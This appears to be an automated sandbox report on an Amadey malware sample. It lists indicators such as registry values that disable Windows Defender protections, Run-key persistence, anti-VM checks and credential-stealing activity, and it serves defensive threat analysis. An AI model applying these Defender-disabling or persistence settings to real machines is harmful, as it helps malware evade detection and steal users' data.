amadey | df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	274d550942.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	274d550942.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	274d550942.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	274d550942.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/7208-3705-0x0000000000EA0000-0x0000000000EDC000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 18 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1t87p0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3f55g.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3732c8e36f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	274d550942.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	071d97c0f0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7ef1418e3a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2A6614.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e9ff01b5c1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f15854954c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	E2A3361GKJULK7R29Q925.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3a14972bb4.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
72	3076	wscript.exe
208	6496	powershell.exe
216	7976	powershell.exe
296	7460	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6496	powershell.exe
7976	powershell.exe
2908	powershell.exe
7140	powershell.exe
7272	powershell.exe
7536	powershell.exe
6532	powershell.exe
5024	powershell.exe
8136	powershell.exe
4852	powershell.exe

Downloads MZ/PE file 23 IoCs

flow	pid	Process
313	6820	Gxtuum.exe
160	2272	3732c8e36f.exe
208	6496	powershell.exe
92	436	rapes.exe
92	436	rapes.exe
198	436	rapes.exe
198	436	rapes.exe
251	436	rapes.exe
251	436	rapes.exe
296	7460	wscript.exe
43	2568	2A6614.exe
216	7976	powershell.exe
33	436	rapes.exe
33	436	rapes.exe
33	436	rapes.exe
33	436	rapes.exe
72	3076	wscript.exe
275	7320	BitLockerToGo.exe
289	4396	BitLockerToGo.exe
312	436	rapes.exe
312	436	rapes.exe
312	436	rapes.exe
312	436	rapes.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x000700000002453d-3955.dat	net_reactor
behavioral1/memory/2168-3963-0x00000000001C0000-0x0000000000220000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 36 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3f55g.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3f55g.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3732c8e36f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f15854954c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E2A3361GKJULK7R29Q925.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7ef1418e3a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1t87p0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2A6614.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	071d97c0f0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3a14972bb4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2A6614.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3732c8e36f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	274d550942.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	274d550942.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E2A3361GKJULK7R29Q925.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e9ff01b5c1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	071d97c0f0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3a14972bb4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1t87p0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e9ff01b5c1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7ef1418e3a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f15854954c.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	zY9sqWs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Gxtuum.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	0uzaP1a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	0uzaP1a.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	1t87p0.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Anubis.lnk	OGVK2io.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Anubis.exe	OGVK2io.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 42 IoCs

pid	Process
1476	G3X13.exe
228	1t87p0.exe
436	rapes.exe
2568	2A6614.exe
1604	iZ73hNr.exe
428	iZ73hNr.exe
2224	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
3620	3f55g.exe
5100	P2SXMuh.exe
3972	P2SXMuh.exe
2296	0uzaP1a.exe
2512	OGVK2io.exe
2348	Security Protection Windows.pif
4320	OpenCL.pif
2272	3732c8e36f.exe
4316	OpenCL.pif
1424	f15854954c.exe
3996	rapes.exe
1188	e7895bb844.exe
7472	274d550942.exe
6008	E2A3361GKJULK7R29Q925.exe
6284	431a6466f0.exe
6952	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
6344	e9ff01b5c1.exe
5712	483d2fa8a0d53818306efeb32d3.exe
4196	071d97c0f0.exe
5416	7ef1418e3a.exe
5944	3a14972bb4.exe
3164	7d014442c3.exe
7512	7d014442c3.exe
6060	OGVK2io.exe
1312	0uzaP1a.exe
7716	P2SXMuh.exe
6132	P2SXMuh.exe
6020	rapes.exe
6276	Security Protection Windows.pif
6372	iZ73hNr.exe
6472	iZ73hNr.exe
6748	zY9sqWs.exe
6820	Gxtuum.exe
4124	FvbuInU.exe
7208	zero.exe

Identifies Wine through registry keys 2 TTPs 18 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	2A6614.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	3732c8e36f.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	f15854954c.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	274d550942.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	e9ff01b5c1.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	E2A3361GKJULK7R29Q925.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	071d97c0f0.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	7ef1418e3a.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	3a14972bb4.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	1t87p0.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	FvbuInU.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Wine	3f55g.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	274d550942.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	274d550942.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zero.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zero.exe
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zero.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e7895bb844.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167620101\\e7895bb844.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\274d550942.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167630101\\274d550942.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\431a6466f0.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167640101\\431a6466f0.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167650121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3732c8e36f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167600101\\3732c8e36f.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f15854954c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10167610101\\f15854954c.exe"	rapes.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	G3X13.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77Anubis = "\"C:\\Users\\Admin\\AppData\\Roaming\\Local\\Caches\\S0gQ0bV3\\$77Anubis.exe\""	OGVK2io.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
320	ipinfo.io
321	ipinfo.io

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000023d19-219.dat	autoit_exe
behavioral1/files/0x0007000000023d4f-1041.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2200	tasklist.exe
2156	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 18 IoCs

pid	Process
228	1t87p0.exe
436	rapes.exe
2568	2A6614.exe
2224	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
3620	3f55g.exe
2272	3732c8e36f.exe
1424	f15854954c.exe
3996	rapes.exe
7472	274d550942.exe
6008	E2A3361GKJULK7R29Q925.exe
6952	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
6344	e9ff01b5c1.exe
5712	483d2fa8a0d53818306efeb32d3.exe
4196	071d97c0f0.exe
5416	7ef1418e3a.exe
5944	3a14972bb4.exe
6020	rapes.exe
4124	FvbuInU.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1604 set thread context of 428	1604	iZ73hNr.exe	99
PID 5100 set thread context of 3972	5100	P2SXMuh.exe	106
PID 4196 set thread context of 7320	4196	071d97c0f0.exe	176
PID 3164 set thread context of 7512	3164	7d014442c3.exe	179
PID 5944 set thread context of 4396	5944	3a14972bb4.exe	184
PID 7716 set thread context of 6132	7716	P2SXMuh.exe	194
PID 6372 set thread context of 6472	6372	iZ73hNr.exe	200

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000a000000023c62-93.dat	upx
behavioral1/memory/2296-102-0x0000000000700000-0x000000000099C000-memory.dmp	upx
behavioral1/memory/2296-106-0x0000000000700000-0x000000000099C000-memory.dmp	upx
behavioral1/files/0x0008000000023c80-132.dat	upx
behavioral1/memory/2348-133-0x00000000008D0000-0x0000000000D76000-memory.dmp	upx
behavioral1/memory/2348-168-0x00000000008D0000-0x0000000000D76000-memory.dmp	upx
behavioral1/memory/2348-182-0x00000000008D0000-0x0000000000D76000-memory.dmp	upx
behavioral1/memory/2348-236-0x00000000008D0000-0x0000000000D76000-memory.dmp	upx
behavioral1/memory/1312-3353-0x0000000000740000-0x00000000009DC000-memory.dmp	upx
behavioral1/memory/1312-3372-0x0000000000740000-0x00000000009DC000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	1t87p0.exe
File created	C:\Windows\Tasks\Gxtuum.job	zY9sqWs.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
7644	3164	WerFault.exe	178
7508	7208	WerFault.exe	207
7600	2168	WerFault.exe	245

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	e7895bb844.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	274d550942.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	071d97c0f0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2A6614.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iZ73hNr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zero.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e7895bb844.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	E2A3361GKJULK7R29Q925.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e9ff01b5c1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zY9sqWs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	e7895bb844.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1t87p0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	431a6466f0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3f55g.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3a14972bb4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iZ73hNr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3732c8e36f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7d014442c3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7d014442c3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f15854954c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	G3X13.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7ef1418e3a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iZ73hNr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iZ73hNr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
